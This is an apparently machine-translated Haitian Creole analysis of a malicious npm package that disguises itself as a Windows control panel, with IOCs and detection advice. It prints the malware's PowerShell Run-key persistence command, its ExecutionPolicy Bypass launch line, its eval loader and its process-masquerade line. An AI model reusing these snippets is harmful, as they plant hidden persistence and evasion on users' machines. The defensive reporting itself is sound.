TL; DR
Pake npm lan sansiblite dekri tèt li kòm yon "Panèl Kontwòl Sansiblite." Sou Windows li konpòte li kòm yon zouti kontwòl ak siveyans adistans.
Pwen antre li, launcher.js, chanje non pwòp pwosesis li a an Runtime Broker, ekri yon valè Run-key otostart ki rele OneDriveUpdate ki relanse pake a atravè yon VBScript kache, kreye PowerShell ak -ExecutionPolicy Bypass, epi apre sa li evalye yon chaj sèvè 171 KB ki kache ansanm ak yon modil natif natal 6.87 MB, sens.node.
Li sèvi yon panèl kontwòl pou konekte telefòn sou pò TCP 3000 epi li li URL ba adrès navigatè aktif la atravè Windows UIAutomation, pandan l ap gade yon videyo YouTube ki kode an fè.
De pati ki te li kòm bwat nwa anvan yo rezoud kounye a. Sèvè ki te kache a, server.obf.js, itilize yon konplo obfuscator.io RC4 string-array; reimplementasyon dekodeur li offline (pa gen okenn JavaScript egzekite) rekipere yon sèl pwen final ekstèn — https://izopi.com/check.php — ansanm ak yon kle piblik RSA entegre ki itilize pou verifye repons lisans ki siyen yo.
Modil natif natal la, sens.node, pa chaje: tablo enpòtasyon li yo ak chèn entegre yo idantifye li kòm yon overlay DirectX 11 / Dear ImGui nan jwèt la ki bay karakteristik aimbot, ESP (wall-hack), ak triggerbot, kondwi pa enjeksyon pwosesis a distans ak lekti/ekriti memwa.
Chèn karaktè anndan l yo fè referans a antite machin yo ak kote kat yo koresponn ak GTA V / FiveM. Pake npm lan se anbalaj livrezon ak pèsistans ki antoure modil natif natal sa a.
Siyal ki defini an se operasyonèl, pa teknik: yon sèl editè anonim te pibliye anviwon swasanndis vèsyon yon sèl pake — 2.5.0 jiska 2.5.69 — pandan kèk jou, yo chak te pote menm lansè a.
Pa gen okenn enstalasyon hooksChaj la sèlman fonksyone lè pakè a kòmanse.
Atak la: Kijan li fonksyone
sensitivity bay dis fichye. Package.json an pa gen anpil dosye: pa gen chan depo, pa gen lisans, yon alyas main ak de alyas bin (sensitivity, sens) tout ap montre launcher.js, epi yon script demaraj pou node launcher.js. Pa gen postinstall oubyen preinstall. Pa gen anyen ki deklanche lè w ap enstale npm. Konpòtman ki dekri anba a fonksyone lè yon itilizatè kòmanse pake a — atravè shim bin lan, script demaraj la, oubyen yon require.
Fichye tarball la gen ladan l lansè a, yon sèvè ki kache, modil natif natal la, yon script Visual Basic, ak yon anyè public/web pou panèl kontwòl la. launcher.js se òkestratè lizib la; lojik ki enpòtan pandan ekzekisyon an rete nan de blòk li chaje yo — yon sèvè ki kache ak yon modil natif natal konpile, tou de rezoud anba a.
Maskarade pwosesis ak yon fo aktyalizasyon OneDrive
Nan kòmansman ekzekisyon an, launcher.js fikse pwòp non pwosesis li de fwa:
javascript process.title = 'Runtime Broker'; Runtime Broker se yon pwosesis Windows lejitim (RuntimeBroker.exe) ki medyatè pèmisyon aplikasyon yo. Chanje non yon pwosesis Node pou l koresponn ak li vle di yon ti gade rapid nan Task Manager pa montre anyen ki dwòl.
Persistans lan ekri atravè PowerShell olye de yon API rejis dirèk:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); Valè demaraj otomatik la rele OneDriveUpdate, epi li pa montre pake a dirèkteman. Li montre wscript.exe k ap egzekite OneDrive.Standalone.Updater.vbs ki vini ak pake a. Script sa a relanse node launcher.js nan yon fenèt kache. Ni non kle Egzekisyon an ni non fichye VBScript la prete mak Microsoft, kidonk antre demaraj otomatik la li kòm yon travay OneDrive woutin.
PowerShell ak kontouneman règleman ekzekisyon
Lansè a voye mesaj bay PowerShell plizyè fwa. Eskanè yo make kòm kritik se lansman yon fichye .ps1 ki pwodui ak règleman ekzekisyon an enfim:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); Kontounen ExecutionPolicy la retire verifikasyon siyati script lokal la pou envokasyon sa a. Script ki pwodui yo jere travay siveyans navigatè a ak deteksyon fenèt ki dekri nan seksyon kap vini an.
Sèvè ki kache a ak modil natif natal la
Apre konfigirasyon an, launcher.js chaje epi egzekite vrè chaj li a:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));server.obf.js se 171 KB offiskasyon _0x-array — modèl JavaScript kote chak chèn ak idantifikatè ranplase pa yon endèks nan yon etalaj melanje, epi dereferanse pandan ekzekisyon. Konplo a se varyant RC4 ki pwodui pa obfuscator.io: yon sèl fonksyon dekodeur dekode yon antre etalaj an base64 epi answit dechifre li an RC4 ak yon kle pou chak apèl. Reyaplike dekodeur sa a nan yon script apa — sèlman egzekite reimplementasyon an sou etalaj chèn 821-antre ki te ekstrè a, pa janm pwòp JavaScript pake a — dewoule li pwòpman. Sa ki parèt modès men decisive: yon URL ekstèn, https://izopi.com/check.php`, ki asiyen a yon konstan LICENSE_URL; yon RSA PUBLIC_KEY_PEM` entegre; panèl lokal la mennen wout /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, ak /trigger/status; ak chèn karaktè child_process, crypto, ak [Sensivity] sens.node ki chaje — dènye a se liy jounal egzak lansman an reekri nan modil pwogram ki chaje. Pwen final la se yon verifikasyon lisans: kliyan an poste yon idantifikatè (sèvè ki obfuske a fòma yon chèn ID Discord: %s) epi kle RSA a verifye repons sèvè a ki siyen an.
sens.node se yon ekstansyon natif natal konpile ki peze 6.87 MB, epi li pa pake — entropi seksyon an chita nan 5.6–6.6 epi tablo enpòtasyon ak ekspòtasyon PE yo entak, kidonk kapasite li yo lizib dirèkteman. Li ekspòte napi_register_module_v1, la standard Pwen antre N-API ne a, kidonk sèvè evalye a chaje l ak yon egzijans senp. Tablo enpòtasyon li a se tell la. Soti nan KERNEL32 li rale OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules, ak Process32First/NextW — seri kanonik pou lokalize yon lòt pwosesis, asiyen memwa andedan li, epi li oswa ekri memwa sa a. Soti nan USER32 li rale GetAsyncKeyState, GetKeyState, mouse_event, ak SetCursorPos; li lye d3d11.dll, D3DCOMPILER_43, ak dwmapi pou yon sipèpozisyon sou ekran, ak seri WINHTTP konplè a pou apèl rezo yo. Chèn entegre li yo bay non seri karakteristik yo san anbigwite: Aktive Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detekte, ak banyè Dear ImGui Dear ImGui 1.91.3 WIP la. Chèn lokalizasyon ak antite tankou Grapeseed Medical Clinic ak vokabilè machin-ESP a konsistan avèk GTA V / FiveM.
Separasyon an fèt espre: fichye launcher.js ki ka li a pote sèlman pati yon eskanè li fasilman — pèsistans, maskarad, apèl eval la li menm — pandan ke ofiskasyon an kache sèl òt ekstèn lan kontak ekzekisyon yo, epi fichye binè a kenbe sipèpozisyon jwèt la ak lojik enjeksyon pwosesis la. Lansè a se kokiy mens ak verifye a; sèvè ofiskasyon an kache idantite rezo a; modil natif natal la se chaj itil la. Nou dekri enpòtasyon ak chèn binè a kòm li; nou pa dedwi objektif operatè a nan yo.
Yon panèl kontwòl pou konekte telefòn sou pò 3000
Lansè a jere yon sèvè entènèt lokal sou pò TCP 3000 epi trete li kòm yon singleton. Li fè yon rechèch pou yon kouteur ki deja egziste epi li efase li anvan li lye:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Ou ka jwenn panèl la nan http://localhost:3000, avèk yon URL LAN rezèv ki kode an fè ki se http://192.168.1.16:3000. Anyè piblik la ak konpòtman panèl la konsistan avèk yon pwosesis koneksyon QR: yon telefòn eskane yon kòd epi li konekte ak lame a kòm yon kontwòl remote. Pa gen okenn domèn kòmand ak kontwòl ekstèn ki parèt an tèks klè nan lansè a — men, jan dezobfiskasyon ki anwo a montre, gen youn ki prezan nan sèvè ki obfiske a: pwen final lisans izopi.com lan. Panèl la li menm lokal e li gen yon dimansyon LAN; sèl lame sortan an se verifikasyon lisans sa a.
Yon modèl sipèvizè/travayè detache kenbe pwosesis la vivan. Lansè a reaparèt ak drapo anviwònman SENSIVITY_SUPERVISOR ak SENSIVITY_WORKER, chak pitit ap fonksyone kache, kidonk lè w touye yon pwosesis, yon siveyan (watchdog) rete pou rekòmanse li.
Siveyans Navigatè ak Siyal YouTube la
Konpòtman ki pi espesifik la se siveyans navigatè. launcher.js konstwi PowerShell ki pouse Windows UIAutomation li ba adrès yon navigatè k ap fonksyone:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern retounen kontni tèks yon eleman UI. Lè yo aplike li nan yon kontwòl modifikasyon nan ba adrès navigatè a, li retounen URL viktim nan ap gade kounye a — san yon ekstansyon navigatè, san manyen pwofil la sou disk la, epi san yon hook API. Script ki pwodui a iterasyon yon lis $browserNames epi li ekstrè URL la oswa tit fenèt nenpòt navigatè ki an premye plan.
URL sa a teste kont yon sèl sib ki kode an fè:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; Lansè a fè yon sondaj pandan twa segonn pou yon fenèt navigatè ki montre YouTube, epi PowerShell ki pwodui a pote yon pè Get-YouTubeBrowser / Test-TargetYouTubeUrl ki koresponn ak ID videyo sa a. Efè obsèvab la gen de aspè: URL navigasyon aktif la li sou ekran viktim nan, epi entèraksyon lame a ak yon videyo YouTube espesifik detekte. Nou dekri mekanis la ak sib la; nou pa dedwi yon motif nan yo.
Lekti ba adrès la se sa eskanè a rele sensitive_data_enumeration — yon sous Process::env ak UIAutomation ki bay yon sistèm ekzekisyon ki ka konekte sou rezo. Li sanble pa danjere lè li izole epi li sèlman rezoud an siveyans yon fwa sik lavi done yo remonte soti nan sous UIAutomation an rive nan sèvè ki kache a.
Evolisyon Kronoloji ak Vèsyon
Sansiblite a pa yon telechajman yon sèl fwa. Kont piblikatè a gen anviwon swasanndis vèsyon pibliye nan pake sa a, epi nouvo vèsyon kontinye ap rive pandan peryòd revizyon an. Lansman an ap grandi karakteristik pa karakteristik atravè liy 2.5.x la pandan pèsistans li ak chajman li rete fiks.
| Dat (UTC) | Vèsyon yo obsève | Eta lansè a |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Lansman panèl QR de baz; Pèsistans kle ekzekisyon; evalyasyon sèvè ki kache. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Menm anprent dwèt; sipresyon tras konsole. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Ajoute yon sib angajman YouTube fikse wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Repibliyasyon pou ranpli twou vid ki genyen nan tout seri a; sipèvizè/chèf siveyans travayè yo. |
Lè w ap li lansè a atravè reprezantan telechaje yo — 2.5.0, 2.5.36, ak 2.5.69 — sa montre kat nivo. Premye vèsyon yo pote lansè debaz ki konekte ak kòd QR yo. Apati 2.5.33, zouti pou kolekte ba adrès UIAutomation an parèt. Apati 2.5.58, yo ajoute yon kouch jesyon sipèvizè. Apati 2.5.64, sistèm siveyans sipèvizè/travayè detache a konplete seri a. Pandan tout tan sa a, gen kat bagay ki pa janm chanje: kle OneDriveUpdate Run, kle OneDrive.Standalone.Updater.vbs la, kle server.obf.js ki te evalye a, ak modil natif natal sens.node la.
Vag 2026-06-05 la remakab paske li te repibliye nimewo vèsyon ki pi ba yo — 2.5.0 jiska 2.5.15 — ki anba vèsyon yo te konfime kèk jou anvan yo. Efè a se yon liy 2.5.x kontinyèl sou rejis la, chak vèsyon pote menm lansè a.
Endikatè konpwomi
Tout endikatè ki anba yo te li dirèkteman nan tarball pake a. Lansman lizib la pote sèlman loopback ak yon sèl adrès LAN prive; sèl non host ekstèn lan, izopi.com, te refè lè yo te deobfuske server.obf.js offline.
| Kalite | Endikatè | nòt |
|---|---|---|
| Pake | npm:sensivity (≈70 vèsyon, 2.5.0-2.5.69) | Piblikatè yon sèl pake; pa gen depo; san lisans. |
| File | launcher.js | Òkestratè lizib; sib prensipal ak sib bin. |
| File | server.obf.js (≈171 KB) | Chaj tablo chèn RC4 obfuscator.io a, chaje atravè eval(fs.readFileSync(...)). |
| File | sens.node (≈6.87 MB) | Ekstansyon N-API pou nœud PE32+ x86-64; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| File | OneDrive.Standalone.Updater.vbs | Relansman kache (node launcher.js). |
| Rezo | https://izopi.com/check.php | Pwen final lisans/otorizasyon an rekipere nan sèvè ki te kache a; kle piblik RSA entegre a verifye repons yo. |
| Kapasite | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Enjeksyon pwosesis a distans ak kapasite lekti/ekriti memwa. |
| Kapasite | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | Sipèpozisyon jwèt DirectX 11 / ImGui ki aplike karakteristik aimbot, ESP, ak triggerbot. |
| Rejis | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Valè demaraj otomatik ki montre nan wscript.exe ak lanseur VBScript la. |
| Pwosesis | process.title = 'Runtime Broker' | Maske kòm pwosesis lejitim Windows Runtime Broker la. |
| Konpòtman | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Kontoune règleman ekzekisyon yo itilize pou script PowerShell ki pwodui yo. |
| Konpòtman | UIAutomation ValuePattern lekti ba adrès navigatè a | Li URL fenèt navigatè ki an premye plan an. |
| Konpòtman | ID videyo sib la wJWta2lO0LwSondaj YouTube 3 segonn | Siyal siveyans angajman ki fikse. |
| Rezo | http://localhost:3000, ranplasman http://192.168.1.16:3000 | Panèl kontwòl koneksyon QR ekspoze lokalman ak sou LAN an. |
| Anviwònman | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Drapo kowòdinasyon pwosesis siveyans detache. |
Atribisyon, Enpak, ak Defansè
Pakè a pibliye pa yon sèl kont npm ki gen yon adrès imel Gmail ki pa verifye. Kont lan gen yon repitasyon rejis ki trè negatif, li kenbe epi pibliye sèlman pakè sa a, epi li pa gen okenn depo sous ki lye. Nou pa verifye pwopriyetè imel la epi nou atribiye kanpay la bay kont piblikatè a, pa bay okenn moun ki nonmen. Lansè a pa gen okenn enfrastrikti tèks klè, men kounye a nou konnen sèl lame ekstèn lan: sèvè ki kache a kontakte izopi.com pou yon verifikasyon lisans, epi modil natif natal la — li nan tablo ak chèn enpòtasyon li yo olye pou l ranvèse enstriksyon pa enstriksyon — se yon kouvèti jwèt ki enjekte nan epi li memwa yon lòt pwosesis.
Enpak ki ka obsève a tonbe sou itilizatè Windows ki enstale epi egzekite sistèm sansiblite pandan y ap tann yon zouti nan panèl kontwòl la. Sou òdinatè sa yo, pake a etabli yon pèsistans demaraj otomatik ki degize kòm yon travay OneDrive, li chanje non li pou l imite yon pwosesis sistèm, li URL nenpòt bagay itilizatè a ap navige, epi li mete yon panèl pèmanans ki lye machin nan ak yon kontwòl remote sou rezo lokal la. Sistèm siveyans sipèvizè/travayè a vle di yon sèl destriksyon pwosesis pa retire li; antre kle Egzekisyon an siviv apre rdemaraj. macOS ak Linux pa sib pa lansè a — chemen pèsistans, PowerShell, ak UIAutomation yo se pou Windows sèlman.
Tandans ki vo lapenn siyalize a se chanjman swasanndis vèsyon yo. Repibliye yon pake plizyè douzèn fwa nan kèk jou, ki gen ladan ranpli nimewo vèsyon ki pi ba pase sa yo ki deja retire, kenbe yon kopi aktif nan rejis la ant sipresyon yo epi li fristre lis blòk ki bloke pa vèsyon. Yon antre nan lis blòk pou sensitivity@2.5.61 pa fè anyen kont sensitivity@2.5.3 ki repibliye nan jou kap vini an.
Defansè yo ka aji sou bagay sa yo:
- Bloke sansiblite non pake a nèt nan lis otorizasyon rejis-proxy ak CI yo. Mete vèsyon endividyèl yo sou kote pèdi avantaj kadans repibliyasyon an; non an se endikatè dirab la.
- Chache yon valè Run ki rele OneDriveUpdate ki gen done ki envoke wscript.exe kont yon .vbs nan yon chemen pou chak itilizatè. Vrè aktyalizasyon OneDrive la pa anrejistre nan fason sa a.
- Alèt sou yon pwosesis Node.js ki gen process.title li a se Runtime Broker. Vrè koutye a se RuntimeBroker.exe, se pa yon Node runtime.
- Siyalize rechèch pakè npm yo pandan enstalasyon an, ki gen yon ekstansyon .node konpile plis yon eval(fs.readFileSync(…)) ki soti nan yon fichye .obf.js frè. Pè sa a — yon binè natif natal opak chaje akote yon chaj tèks ki kache — se tell estriktirèl la isit la, endepandan de nenpòt IOC chèn karaktè.
- Trete nenpòt kouteur lokal sou pò 3000 ki kreye pa yon pwosesis Node inatandi kòm sispèk sou pwen final Windows yo jere.
- Bloke oswa avèti sou demann k ap soti nan devlopè oswa itilizatè final yo pou izopi.com; se sèl pwen final ekstèn pake a, aksesib nan /check.php soti nan sèvè ki kache a.
- Pou nenpòt ekstansyon .node ki vini ak yon pake, enspekte tablo enpòtasyon li anvan ou fè li konfyans. Konbinezon OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread la se yon enjeksyon pwosesis a distans kèlkeswa sa pake a pretann fè; isit la li chita akote yon kouvèti Direct3D ak chèn aimbot/ESP/triggerbot.
Pou analiz estatik pipelines, fòm konviksyon an dirab pandan tout chanjman vèsyon an: yon pwofil enstalasyon ki pa sou rezo a, yon plasman tit pwosesis pou yon non sistèm-pwosesis li te ye, yon ekriti kle Egzekisyon atravè PowerShell, ak yon evalyasyon yon fichye li sou disk la. Okenn nan sa yo pa depann de yon domèn, yon IP, oswa yon nimewo vèsyon ke pwochen repiblikasyon an ka retire.
Referans
[npm: sansiblite] – paj rejis pou liy vèsyon pake ki diskite la a; sijè a retire li.
